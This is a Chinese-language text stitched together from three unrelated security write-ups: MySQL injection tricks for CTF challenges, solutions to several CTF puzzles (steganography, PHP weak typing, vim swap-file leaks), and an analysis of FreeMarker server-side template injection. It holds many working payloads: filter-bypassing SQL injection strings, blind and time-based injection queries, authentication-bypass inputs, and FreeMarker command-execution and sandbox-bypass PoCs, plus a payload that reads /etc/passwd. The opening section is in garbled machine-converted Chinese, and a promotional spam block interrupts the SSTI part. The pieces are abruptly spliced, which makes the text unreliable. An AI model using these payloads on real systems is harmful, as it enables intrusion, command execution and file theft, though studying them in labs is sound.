來花了一點光陰總結了各大平臺中注入的trick,本身照樣太菜了,多數都得看題解,就特此做了一個paper便利總結
正文符
以下是Mysql中可以或許用到的單行正文符:
# -- -
以下是Mysql中可以或許用到的多行正文符(mysql下必要閉合):
/*
斷定以后庫能否有字段名
對付CTF中的題,某些可以或許間接斷定有沒有flag表1′ or(flag)比方:全表
用or試一下
這里說明一下為何or的成果為何不全,說白了也便是atoi函數的特征
or(列名)實在是遍歷字段名中的每一個值而后拔取那些不為false的內容,由于在mysql中’ssdd’字符串默許即是0即是false以是不表現,而’4ddf’如許的字符串默許即是4,也便是true也就會前往了
limit下的字段數斷定
家喻戶曉where前提下的字段數可以或許用order by
斷定,而limit后可以或許應用 1,into @,@
(@為字段數)斷定字段數@為mysql暫時變量,
道理請看http://www.w3school.com.cn/sql/sql_select_into.asp
or前提下的回顯
曩昔總是對where id='1' or '1'='1'
和where id='0' or '1'='1'
的回顯不停不是很懂得,以是本日搭建情況測試了一下,以下可見
以是預測在or前提下先后假如都為真則前往一切成果,不然只前往前提為真的一方的值
concat與concat_ws與group_concat
1.2 MySQL的concat函數在銜接字符串的時刻,只需此中一個是NULL,那末將前往NULLMySQL的concat函數在銜接字符串的時刻,只需此中一個是NULL,那末將前往NULL
mysql> select concat('11','22',null);+------------------------+| concat('11','22',null) |+------------------------+| NULL |+------------------------+1 row in set (0.00 sec)
和concat分歧的是, concat_ws函數在履行的時刻,不會由于NULL值而前往NULL
mysql> select concat_ws(',','11','22',NULL);+-------------------------------+| concat_ws(',','11','22',NULL) |+-------------------------------+| 11,22 |+-------------------------------+1 row in set (0.00 sec)
盲注下的前提語句和光陰函數
這是我頭幾天刷wechall碰著的題,比方一下注入語句
select * from test1 where id='$_GET[id]';
已知沒有回顯位,id=3和id=1前往成果分歧樣而且過濾了’,空格,等等一堆關鍵詞,不存在寬字節注入給個B徒弟當時的payload
if(substr(flag,1,1)in(0x41),3,0)
寫個劇本爆破之可得flag而基于光陰的注入曩昔都是不停用的if(xxxxxx,1,sleep(2));最也發明了一個更好的函數BENCHMARK
IF(left(version(),1,1)=5, BENCHMARK(100000,SHA1('1')), 1)
BENCHMARK函數是指履行某函數的次數,次數多時可以或許到達與sleep函數雷同的后果
邏輯操縱符被過濾
先放一波like語法http://www.runoob.com/mysql/mysql-like-clause.html
繞過\’被過濾
hex編碼
SELECT password FROM Users WHERE username = 0x61646D696E
char編碼
SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
html實體字符編碼
SELECT FROM Users WHERE username = 'admin'
%2527
這里重要是由于繞過magic_quotes_gpc過濾,由于%25解碼為%,聯合后面的27也便是%27也便是',以是勝利繞過過濾。
寬字節就不說了gbk編碼在單引號后面加一個%df便可
表名等關鍵字被過濾
以information_schema.tables為例
空格 information_schema . tables
著重號 information</em>schema.tables
特別符 /!informationschema.tables/
別號 information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)
表單認證繞過
這里選兩題一題是試驗吧的web分類第一題
"SELECT username FROM users WHERE username='$username' AND password='$password'"
如許的間接username=admin'#
便可,或許username='='&password='='
如許就可以結構出
"SELECT username FROM users WHERE username=''='' AND password=''=''"
以是邏輯斷定繞過第二題是iscc的簡略注入,預測大抵后盾語句以下,PS:后盾暗碼是md5處置過的
$results = SELECT password FROM users WHERE username='$username'if($results==$_GET[$password]){
這里可以或許結構username=0' union select md5(1)#&password=1
Mysql字符編碼應用技能
傳入的username=admin%c2,php的檢測if ($username === ‘admin’)天然就可以夠繞過的,在mysql中可以或許失常查出username=’admin’的成果,道理是Mysql在轉換字符集的時刻,將不完備的字符給疏忽了。詳細可參照P徒弟文章https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html
隱式范例轉換
這里先上幾個圖,自行領會精力
這里為何咱們輸出為何name=0會招致前往數據呢?實在這里跟php弱范例有殊途同歸之妙,mysql在比擬一個整數和一個字符串也會強迫把字符串轉化為整數停止比擬,并前往一個warning,以是這里
pupiladmin
都會被轉換為0以是與0比擬相稱,那末咱們進一步料想那一個非0開首的字符串強迫轉化是什么呢
因而可知,與PHP同樣,mysql也會把字符串強迫轉化為開首的數字,若開首是字母則強迫轉化為0,那咱們怎樣應用這一黑邪術呢,家喻戶曉,mysql同樣平常都是字符型注入,很少稀有字型注入的,就像where username='input'
如許,咱們純真的輸出數字是會被轉化成字符串的,就像如許
這時刻咱們就必要做一些操縱來結構注入點了,好比應用算術運算符
+,-,*,/,%
又或許位操縱符
&,|,^
上面咱們以+
為例停止演示
過濾了&,|,*,/,=等邏輯處置字符
可以或許用in,exists,position..in,>,<,!,<>,like等操縱符繞過這個鏈接有詳細先容http://www.runoob.com/mysql/mysql-like-clause.html這里舉一個例子,好比要應用sql盲注的話然則過濾了substr,mid,asccii,ord等函數可以或許應用一下語句
admin' AND password LIKE "p%" --
一點實戰例子
陜西省收集空間平安
過濾了
/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"
這里沒有過濾^,以是可以或許繞過,payload
username=admin'^(ascii(mid((passwd)from(1)))>=10)^'1'='1
pwnhubcuit校賽
過濾了
/ |\*|#|,|union|like|sleep|regexp|left|right|strcmp|substr|=|limit|instr|benchmark|oct|\/|format|lpad|rpad|mod|insert|lower|bin|mid|hex|substring|ord|and|field|file|ascii|char|—|\|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%20')."|".urldecode('%a0')."/i
這里過濾了&,|,*,=等標記和substring,mid可以或許應用in,exists,>,<,<>,比擬運算符繞過,payload
'where((table_schema)in(0x6261636b656e64)))r)where((table_name<0x74)))>0x{0})'
webhacking,kr
過濾了
union|and|||&|=|urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldeco
這里這里if和substr都沒被過濾,而且空格可以或許被%0a繞過,以是payload
%0aor%0aif(substr((select%0aflag%0afrom%0aprob13password),1,1)in("0x41"),1,0)
末了總結一下注入題(手工注入。。)的同樣平常思緒(大牛輕噴),對付同樣平常注入首先要找到注入點,好比有許多參數的先肯定哪一個參數好注入,再測驗考試有沒有過濾或許過濾了那些字符,waf本身能否有問題招致間接可以或許大小寫,雙寫,編碼繞過的。固然同樣平常ctf中的題注入假若有waf同樣平常都是過濾不完全的,耐煩點就可以夠找出payload,末了便是留意一下參數提交的方法,有時刻一些標題get方法過濾的很嚴厲然則post只是意味性的過濾一下,另有一些用$_REQUEST方法的留意除get和post還可以或許測驗考試cookie注入。
目地址:
http://www.shiyanbar.com/ctf/56
解題鏈接:
http://ctf5.shiyanbar.com/DUTCTF/1.html
題目描述:
打開鏈接如下圖所示,確實是什么鬼東西。
題目解析:
1.它們其實是Jother編碼,它是一種運用于Javascript語言中利用少量字符構造精簡的匿名函數方法對于字符串進行的編碼方式,其中少量字符包括"[","]","{","}","(",")","!","+"。這些字符就能完成對任意字符串的編碼,本質上是一種Javascript的編碼,其優點是代碼字符就那么幾個,比較好記,缺點是編碼極其冗長和復雜。
2.這種編碼一般現在只會出現在CTF比賽中,實際開發中用的到就很少了。
2.打開Chrome瀏覽器,按F12鍵選擇控制臺Console,將代碼復制過去回車即可得到flag值。
3.得到該題的密碼:Ihatejs。
正確答案:Ihatejs
參考鏈接:
https://www.writeup.top/391.html
二.隱寫術之水果
隱寫術是一門關于信息隱藏的技巧與科學,所謂信息隱藏指的是不讓除預期的接收者之外的任何人知曉信息的傳遞事件或者信息的內容。隱寫術的英文叫做Steganography,來源于特里特米烏斯的一本講述密碼學與隱寫術的著作Steganographia,該書書名源于希臘語,意為“隱秘書寫”。在CTF題目中,圖片隱寫題屬于雜項的一部分,題目較為簡單。
題目地址:
http://www.shiyanbar.com/ctf/1903
解題鏈接:
http://ctf5.shiyanbar.com/stega/pic.png
題目描述:
打開網頁如下圖所示,顯示一張水果的圖片 ,flag就隱藏在圖片中。作者第一反應是查看源代碼,哈哈~原諒我這個小白第一次學習。
題目解析:
1.將圖片另存為本地。
2.從CSDN下載Stegsolve工具,它是用于圖像解析的工具,然后導入本地圖片,按方向鍵右鍵不斷切換,直到出現下圖的二維碼。
如下圖所示:
3.使用手機掃描二維碼,得到一串數字,我們根據數值可以分析,這是十進制的ASCII碼。
4.將數字轉換為ASCII,45對應“-”、46對應“.”、32對應空格。
45 46 45 46 32 -.-. 45 32 - 46 46 45 46 32 ..-. 46 45 46 46 32 .-.. 46 46 46 32 ... 45 46 46 46 32 -... 46 46 45 45 46 45 32 ..--.- 45 46 46 46 32 -... 46 46 46 32 ... 46 45 46 46 32 .-..
5.它們就是傳說中的摩斯密碼。根據下面的對照表,其結果為:CTFLSB_BSL
摩爾斯電碼(又譯為摩斯密碼,Morse code)是一種時通時斷的信號代碼,通過不同的排列順序來表達不同的英文字母、數字和標點符號。它發明于1837年,發明者有爭議,是美國人塞繆爾·莫爾斯或者艾爾菲德·維爾。摩爾斯電碼是一種早期的數字化通信形式,但是它不同于現代只使用零和一兩種狀態的二進制代碼,它的代碼包括五種:點、劃、點和劃之間的停頓、每個字符之間短的停頓、每個詞之間中等的停頓以及句子之間長的停頓。
正確答案:CTF{lsb_bsl}
參考鏈接:
https://blog.csdn.net/miko2018/article/details/81627130
https://www.cnblogs.com/nul1/p/9594387.html
https://blog.csdn.net/u012486730/article/details/8201670
三.隱寫術之小蘋果
題目原理和上一題一樣。
題目地址:
http://www.shiyanbar.com/ctf/1928
解題鏈接:
http://ctf5.shiyanbar.com/stega/apple.png
題目描述:
題目打開也是一張圖片,中國結。
題目解析:
1.下載圖片至本地并打開,得到如下二維碼:
2.二維碼包含如下數字
\u7f8a\u7531\u5927\u4e95\u592b\u5927\u4eba\u738b\u4e2d\u5de5
這是unicode編碼的方式,讓我們在相關網站(搜索“unicode解碼即可”)中進行解碼,得到中文“羊由大井夫大人王中工”,這是一種從未見過的加密方式。
3.通過百度了解到該加密為當鋪密碼,曾在CTF題目中出現過,我們按照編碼規則進行解碼,得到數字:9158753624。
當鋪密碼是一種將中文和數字進行轉化的密碼,算法相當簡單:當前漢字有多少筆畫出頭,就是轉化成數字幾。“羊由大井夫大人王中工”對應的數字為“9158753624”
4.再回頭分析圖片可知,里面包含了一個壓縮文件,我們通過修改擴展名為.ZIP并解壓,得到了apple.mp3的音頻文件。
5.使用mp3隱寫術工具MP3Stego的Decode.exe對其進行解碼,密碼就是我們剛剛得到的那串數字9158753624。解碼后得到字串Q1RGe3hpYW9fcGluZ19ndW99。
6.通過嘗試,在base64解碼中得到了正確的結果:CTF{xiao_ping_guo}。
正確答案:CTF{xiao_ping_guo}
四.WEB之天網管理系統
題目地址:
http://www.shiyanbar.com/ctf/1810
解題鏈接:
http://ctf5.shiyanbar.com/10/web1/index.php
題目描述:
題目顯示如下圖所示,需要輸入正確的用戶名和密碼獲取flag。
考點:PHP弱類型
題目解析:
1.查看網頁源代碼如下所示,注意注釋的提示。
<!-- $test=$_GET[\'username\']; $test=md5($test); if($test==\'0\') -->
2.需要用戶名傳入一個字符串,并且它經過md5加密后要等于0。注意,PHP某些情況會把類數值數據(如含有數字的字符串等)轉換成數值處理。在使用“= =” 運算符對兩個字符串進行比較時,PHP會把類數值的字符串轉換為數值進行比較,如果參數是字符串,則返回字符串中第一個不是數字的字符之前的數字串所代表的整數值。比如: ‘3’ == \'3ascasd’結果為true。
因此只要找到一個字串加密后第一個字符為0即可,這里提供幾個:240610708、aabg7XSs
3.用戶名輸入“aabg7XSs”,此時返回的提示信息如下圖所示。
http://ctf5.shiyanbar.com/10/web1/user.php?fame=hjkleffifer
4.訪問該頁面顯示內容如下圖所示:
函數serialize()是對輸入的數據進行序列化轉換,把變量和它們的值編碼成文本形式。
函數unserialize()是還原已經序列化的對象,對單一的已序列化的變量進行操作,將其轉換回反序列化 PHP 的值。
$unserialize_str = $_POST[\'password\'];$data_unserialize = unserialize($unserialize_str);if($data_unserialize[\'user\'] == \'???\' && $data_unserialize[\'pass\']==\'???\') { print_r($flag);}
這段代碼是將Post提交的密碼值經過unserialize()函數 反序列化處理,得到一個數組,要求數組里的user和pass都等于值“???”,此時輸出flag。那么,這個“???”又是什么內容呢?
5.此時“成也布爾,敗也布爾”提醒我們。bool類型的true跟任意字符串可以弱類型相等。因此我們可以構造bool類型的序列化數據 ,無論比較的值是什么,結果都為true。(a代表array,s代表string,b代表bool,而數字代表個數/長度)
<?phperror_reporting(0);$test=\'\';$test=array("user"=>1,"pass"=>1);echo var_dump($test);echo var_dump(serialize($test));$test1=\'\';$test1=array("user"=>true,"pass"=>true);echo var_dump($test1);echo var_dump(serialize($test1));?>
找個在線PHP網站進行測試,輸出如下圖所示:string(36) “a:2:{s:4:“user”;i:1;s:4:“pass”;i:1;}”
6.構造password值為:a:2:{s:4:“user”;b:1;s:4:“pass”;b:1;},輸出最后的flag。
正確結果:ctf{dwduwkhduw5465}
參考鏈接:
https://blog.csdn.net/dongyanwen6036/article/details/77650921
https://www.cnblogs.com/ssooking/p/5877086.html
五.WEB之忘記密碼
題目地址:
http://www.shiyanbar.com/ctf/1808
解題鏈接:
http://ctf5.shiyanbar.com/10/upload/step1.php
題目描述:
題目顯示如下圖所示,需要輸入正確的郵箱找回密碼。
考點:vim備份文件泄露
題目解析:
1.首先我們隨便輸入一個密碼,如“123456”看返回結果。
返回如下圖所示,注意“step2.php”頁面。
2.查看源代碼,發現提醒用戶名為admin,輸入郵箱為“admin@simplexue.com”。
輸入該郵箱發現Scripts提醒變成了“郵箱已送到管理員郵箱了,你看不到”,真是逗~
3.這里有個細節,Step2.php頁面跳轉了一下,然后又跳轉回step1,說明step2里面有貓膩!頁面跳轉這么快,那我們該怎么去看這個頁面呢?這時候要用到一個名叫Burp Suite的神器,抓包攔截。
Step2.php顯示立刻跳轉:
方法一:在Target查看目錄樹發現有個“submit.php”文件。
方法二:使用Repeater,查看響應Response。
將GET方法的網址修改為step2.php,然后響應表單提交為“submit.php”。
4.趕緊查看該網頁,結果提醒“you are not an admin”,有權限訪問該頁面,但不是管理員不透露信息。有意思~
5.再回到最初step1.php的源代碼,這里有個非常重要的提示信息——編輯器采用的是VIM。
VIM備份文件(參考Sp4rkW大神) 默認情況下使用VIM編程,在修改文件后系統會自動生成一個帶 ~ 的備份文件,某些情況下可以對其下載進行查看。例如,index.php普遍意義上的首頁,它的備份文件則為index.php~。VIM中的swp即swap文件,在編輯文件時產生,它是隱藏文件,如果原文件名是submit,則它的臨時文件“.submit.swp”。如果文件正常退出,則此文件自動刪除。
這個題目叫備份文件泄露,我們知道這個VIM編輯器可以存放臨時文件,而臨時文件會存放信息,咱們可以嘗試一下訪問臨時文件,格式如下:
ctf5.shiyanbar.com/10/upload/.submit.php.swp
PS:因為vim備份文件是隱藏文件,所以需要加上一個點“.submit.php.swp”。
6.嘗試打開.submit.php.swp文件。
重點是后面的if判斷語句,這個條件必須要滿足token的長度必須等于10,并且token的值為0,咱們可以構造十個0試試。
........這一行是省略的代碼........if(!empty($token)&&!empty($emailAddress)){ if(strlen($token)!=10) die(\'fail\'); if($token!=\'0\') die(\'fail\'); $sql = "SELECT count(*) as num from `user` where token=\'$token\' AND email=\'$emailAddress\'"; $r = mysql_query($sql) or die(\'db error\'); $r = mysql_fetch_assoc($r); $r = $r[\'num\']; if($r>0){ echo $flag; }else{ echo "失敗了呀"; }}
7.最終構造的結果如下:
http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0000000000
然后訪問得到如下結果:
正確答案:flag is SimCTF{huachuan_TdsWX}
參考鏈接:
https://www.cnblogs.com/ECJTUACM-873284962/p/7860788.html
https://blog.csdn.net/wy_97/article/details/76559354
六.WEB之false
題目地址:
http://www.shiyanbar.com/ctf/1787
解題鏈接:
http://ctf5.shiyanbar.com/web/false.php
題目描述:
題目顯示如下圖所示。
考點:PHP代碼審計(PHP Code Audit)
題目解析:
1.首先隨便輸入內容,點擊“Login”按鈕。
http://ctf5.shiyanbar.com/web/false.php?name=1&password=2
2.點擊“View the source code”獲取源代碼如下所示。
<?phpif (isset($_GET[\'name\']) and isset($_GET[\'password\'])) { if ($_GET[\'name\'] == $_GET[\'password\']) echo \'<p>Your password can not be your name!</p>\'; else if (sha1($_GET[\'name\']) === sha1($_GET[\'password\'])) die(\'Flag: \'.$flag); else echo \'<p>Invalid password.</p>\';}else{ echo \'<p>Login first!</p>\';?>
它的含義是GET獲取name和password,然后進行判斷。
(1)if ($ _GET[‘name’] == $ _GET[‘password’]),用戶名和密碼相等,提示如下。
(2)else if (sha1($ _GET[‘name’]) === sha1($ _GET[‘password’])),用戶名名和密碼的sha1加密散列值相等,執行die函數。
(3)以上都不是返回“Invalid password”。
(4)未輸入用戶名和密碼,提示“Login first”。
3.函數說明:
參考官網:https://www.php.net/manual/zh/function.isset.php
<?php$a = array (\'test\' => 1, \'hello\' => NULL, \'pie\' => array(\'a\' => \'apple\'));var_dump(isset($a[\'test\'])); // TRUEvar_dump(isset($a[\'foo\'])); // FALSEvar_dump(isset($a[\'hello\'])); // FALSE// 鍵 \'hello\' 的值等于 NULL,所以被認為是未置值的。// 如果想檢測 NULL 鍵值,可以試試下邊的方法。var_dump(array_key_exists(\'hello\', $a)); // TRUE// Checking deeper array valuesvar_dump(isset($a[\'pie\'][\'a\'])); // TRUEvar_dump(isset($a[\'pie\'][\'b\'])); // FALSEvar_dump(isset($a[\'cake\'][\'a\'][\'b\'])); // FALSE?>
4.這里需要執行“if (sha1($ _GET[‘name’]) === sha1($ _GET[‘password’]))”語句。
重點:sha1()函數默認的傳入參數類型是字符串型,也可以傳入其他類型,使其返回值為false,如數組類型。再加上題目標題false,可以想到構造FALSE===FALSE拿到flag。
= =:比較運算符號 不會檢查條件式的表達式的類型 ===:恒等計算符 , 同時檢查表達式的值與類型。
構造網址:
http://ctf4.shiyanbar.com/web/false.php?name[]=1&password[]=2
5.name和password為數組,并且值不相等,提交即可獲得flag。
正確結果:Flag: CTF{t3st_th3_Sha1}
七.WEB之天下武功唯快不破
題目地址:
http://www.shiyanbar.com/ctf/1854
解題鏈接:
http://ctf5.shiyanbar.com/web/10/10.php
題目描述:
題目顯示如下圖所示,提醒“You must do it as fast as you can!”。
考點:Python腳本
題目解析:
1.嘗試SQL注入都無反應,接著查看源代碼,發現一個提示信息:
<!-- please post what you find with parameter:key -->
2.根據題目內容,試圖將網頁鏈接速度放慢,這里可以采Burp Suite抓包,Proxy的intercept載入網頁,并將抓到的信息發到repeater中Go一下,會發現一個FLAG值。另一種方法,Chrome瀏覽器審查網絡狀態。
3.在響應頭中發現了FLAG,看起來像是一個Base64編碼,嘗試在線解碼。
但是該值每次生成的值是隨機的。
FLAG:UDBTVF9USElTX1QwX0NINE5HRV9GTDRHOnZhbmRmQXp1Zg==
解碼:P0ST_THIS_T0_CH4NGE_FL4G:vandfAzuf
FLAG:UDBTVF9USElTX1QwX0NINE5HRV9GTDRHOktsSVBLWmVkOQ==
解碼:P0ST_THIS_T0_CH4NGE_FL4G:KlIPKZed9
4.回想之前的注釋(please post what you find with parameter:key)以及解密后的FLAG值,需要快速提交POST,故采用Python腳本實現。哈哈,又回到熟悉的語言。
# -*- coding: utf8 -*-import requestsimport base64url = \'http://ctf5.shiyanbar.com/web/10/10.php\'s = requests.session()response = s.get(url)#獲取FLAG值#FLAG: UDBTVF9USElTX1QwX0NINE5HRV9GTDRHOnZhbmRmQXp1Zg==head = response.headersflag = base64.b64decode(head[\'FLAG\']).split(\':\')[1]print(flag)#設置POST請求pdata = {\'key\': flag}result = s.post(url=url, data=pdata)print(result.text) #響應
5.運行得到如下結果。
正確答案:CTF{Y0U_4R3_1NCR3D1BL3_F4ST!}
最近和 F1or 大師傅一起挖洞的時候發現一處某 CMS SSTI 的 0day,之前自己在復現 jpress 的一些漏洞的時候也發現了 SSTI 這個洞殺傷力之大。今天來好好系統學習一手。
有三個最重要的模板,其實模板引擎本質上的原理差不多,因為在 SpringBoot 初學習的階段我就已經學習過 Thymeleaf 了,所以大體上老生常談的東西就不繼續講了。
三個模板的模板注入攻擊差距其實還是有點大的,而且 Java 的 SSTI 和 Python Flask 的一些 SSTI 差距有點大。我們今天主要來看看 FreeMarker 的 SSTI
FreeMarker 官網:http://freemarker.foofun.cn/index.html
對應版本是 2.3.23,一會兒我們搭建環境的時候也用這個版本
關于文本與注釋,本文不再強調,重點看插值與 FTL 指令。
插值也叫 Interpolation,即 ${..} 或者 #{..} 格式的部分,將使用數據模型中的部分替代輸出
比如這一個 .ftl 文件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Hello ${name}!</title>
<link href="/css/main.css" rel="stylesheet">
</head>
<body>
<h2 class="hello-title">Hello ${name}!</h2>
<script src="/js/main.js"></script>
</body>
</html>
那么 ${name} 的數據就會從傳參里面拿,對應的這個是在 addAttribute 中的 name 參數
FTL 指令以 # 開頭,其他語法和 HTML 大致相同。
我這里其實也花了不少時間看了 FreeMarker 的基礎語法,但是并非很透徹,就不誤人子弟了,有興趣的師傅可以自己前往 FreeMarker 手冊查看。
https://freemarker.apache.org/
看了一些文章,有些地方有所疏漏,先說 SSTI 的攻擊面吧,我們都知道 SSTI 的攻擊面其實是模板引擎的渲染,所以我們要讓 Web 服務器將 HTML 語句渲染為模板引擎,前提是要先有 HTML 語句。那么 HTML 如何才能被弄上去呢?這就有關乎我們的攻擊面了。
將 HTML 語句放到服務器上有兩種方法:
1、文件上傳 HTML 文件。
2、若某 CMS 自帶有模板編輯功能,這種情況非常多。
因為之前有接觸過 Thymeleaf 的 SSTI,Thymeleaf 的 SSTI 非常鋒利, Thymeleaf SSTI 的攻擊往往都是通過傳參即可造成 RCE(當然這段話很可能是不嚴謹的
在剛接觸 FreeMarker 的 SSTI 的時候,我誤以為它和 Thyemelaf 一樣,直接通過傳參就可以打,后來發現我的想法是大錯特錯。
一些開發的基本功,因篇幅限制,我也不喜放這些代碼的書寫,貼個項目地址吧
https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/CodeReview
前文我有提到,FreeMarker 的 SSTI 必須得是獲取到 HTML,再把它轉換成模板,從而引發漏洞,所以這里要復現,只能把 HTML 語句插入到 .ftl 里面,太生硬了簡直。。。。。不過和 F1or 師傅一起挖出來的 0day 則是比較靈活,有興趣的師傅可以滴一下我
payload:
<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}
【----幫助網安學習,需要網安學習資料關注我,私信回復“資料”免費獲取----】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
構造出這個 PoC 的原因是 freemarker.template.utility.Execute 類里面存在如下圖所示的命令執行方法,都寫到臉上來了。
漏洞復現如圖
我們要分析的是,MVC 的思維,以及如何走到這個危險類 ———— freemarker.template.utility.Execute 去的。
下一個斷點在 org.springframework.web.servlet.view.UrlBasedViewResolver#createView,開始調試
跟進 super.createView()
進一步跟進 loadView() 以及 buildView(),這些方法的業務意義都比較好理解,先 create 一個 View 視圖,再將其 load 進來,最后再 build。
在 buildView() 方法當中,先通過 this.instantiateView() 的方式 new 了一個 FreeMarkerView 類,又進行了一些基礎賦值,將我們的 View Build 了出來(也就是 View 變得有模有樣了)
繼續往下走,回到 loadView() 方法,loadView() 方法調用了 view.checkResource() 方法
checkResource() 方法做了兩件事,第一件事是判斷 Resource 當中的 url 是否為空,也就是判斷是否存在 resource,如果 url 都沒東西,那么后續的模板引擎加載就更不用說了;第二件事是進行 template 的獲取,也可以把這理解為準備開始做模板引擎加載的業務了。
跟進 getTemplate() 方法
首先做了一些賦值判斷,再判斷 Template 的存在,我們跟進 this.cache.getTemplate
這里從 cache 里面取值,而在我們 putTemplate 設置模板的時候,也會將至存儲到 cache中。
跟進 getTemplateInternal()
先做了一些基本的判斷,到 202 行,跟進 lookupTemplate() 方法
這里代碼很冗雜,最后的結果是跟進 `freemarker.cache.TemplateCache#lookupWithLocalizedThenAcquisitionStrategy
代碼會先拼接 _zh_CN,再尋找未拼接 _zh_CN 的模板名,調用 this.findTemplateSource(path) 獲取模板實例。
這里就獲取到了 handle 執行返回的模板視圖實例,這里我 IDEA 沒有走過去,就跟著奶思師傅的文章先分析了。
org.springframework.web.servlet.DispatcherServlet#doDispatch 流程
handle 執行完成后調用 this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException); 進行模板解析。
調用 view.render(mv.getModelInternal(), request, response); 一路跟進至 org.springframework.web.servlet.view.freemarker.FreeMarkerView#doRender
跟進 this.processTemplate()
跟進 process()
process() 方法是做了一個輸出(生成) HTML 文件或其他文件的工作,相當于渲染的最后一步了。
在 process() 方法中,會對 ftl 的文件進行遍歷,讀取一些信息,下面我們先說對于正常語句的處理,再說對于 ftl 表達式的處理。
在讀取到每一條 freeMarker 表達式語句的時候,會二次調用 visit() 方法,而 visit() 方法又調用了 element.accept(),跟進
跟進 calculateInterpolatedStringOrMarkup() 方法
calculateInterpolatedStringOrMarkup() 方法做的業務是將模型強制為字符串或標記,跟進 eval() 方法
eval() 方法簡單判斷了 constantValue 是否為 null,這里 constantValue 為 null,跟進 this._eval(),一般的 _eval() 方法只是將 evn 獲取一下,但是對于 ftl 語句就不是這樣了,一般的 _eval() 方法如下
而對于 ftl 表達式來說,accept 方法是這樣的
跟進一下 accept() 方法
做了一系列基礎判斷,先判斷 namespaceExp 是否為 null,接著又判斷 this.operatorType 是否等于 65536,到第 105 行,跟進 eval() 方法,再跟進 _eval()
我們可以看到 targetMethod 目前就是我們在 ftl 語句當中構造的那個能夠進行命令執行的類,也就是說這一個語句相當于
Object result = targetMethod.exec(argumentStrings);
// 等價于
Object result = freemarker.template.utility.Execute.exec(argumentStrings);
而這一步并非直接進行命令執行,而是先把這個類通過 newInstance() 的方式進行初始化。
命令執行的參數,會被拿出來,在下一次的同樣流程中作為命令被執行,如圖
至此,分析結束,很有意思的一個流程分析。
我們目前的 PoC 是這么打的
<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}
這是因為 FreeMarker 的內置函數 new 導致的,下面我們簡單介紹一下 FreeMarker的兩個內置函數—— new 和 api
可創建任意實現了 TemplateModel 接口的 Java 對象,同時還可以觸發沒有實現 TemplateModel 接口的類的靜態初始化塊。 以下兩種常見的FreeMarker模版注入poc就是利用new函數,創建了繼承 TemplateModel 接口的 freemarker.template.utility.JythonRuntime 和freemarker.template.utility.Execute
value?api 提供對 value 的 API(通常是 Java API)的訪問,例如 value?api.someJavaMethod() 或 value?api.someBeanProperty。可通過 getClassLoader獲取類加載器從而加載惡意類,或者也可以通過 getResource來實現任意文件讀取。 但是,當api_builtin_enabled為 true 時才可使用 api 函數,而該配置在 2.3.22 版本之后默認為 false。
由此我們可以構造出一系列的 bypass PoC
POC1
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("Calc"")}
POC2
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}
POC3
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")
POC4
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") }
讀取文件
<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
從 2.3.17版本以后,官方版本提供了三種TemplateClassResolver對類進行解析: 1、UNRESTRICTED_RESOLVER:可以通過 ClassUtil.forName(className) 獲取任何類。
2、SAFER_RESOLVER:不能加載 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor這三個類。 3、ALLOWS_NOTHING_RESOLVER:不能解析任何類。 可通過freemarker.core.Configurable#setNewBuiltinClassResolver方法設置TemplateClassResolver,從而限制通過new()函數對freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor這三個類的解析。
因為 FreeMarker 不能直接傳參打,所以此處的代碼參考奶思師傅。
package freemarker;
import freemarker.cache.StringTemplateLoader;
import freemarker.core.TemplateClassResolver;
import freemarker.template.Configuration;
import freemarker.template.Template;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.io.StringWriter;
import java.util.HashMap;
public class freemarker_ssti {
public static void main(String[] args) throws Exception {
//設置模板
HashMap<String, String> map = new HashMap<String, String>();
String poc ="<#assign aaa=\"freemarker.template.utility.Execute\"?new()> ${ aaa(\"open -a Calculator.app\") }";
System.out.println(poc);
StringTemplateLoader stringLoader = new StringTemplateLoader();
Configuration cfg = new Configuration();
stringLoader.putTemplate("name",poc);
cfg.setTemplateLoader(stringLoader);
//cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
//處理解析模板
Template Template_name = cfg.getTemplate("name");
StringWriter stringWriter = new StringWriter();
Template_name.process(Template_name,stringWriter);
}
}
防御成功
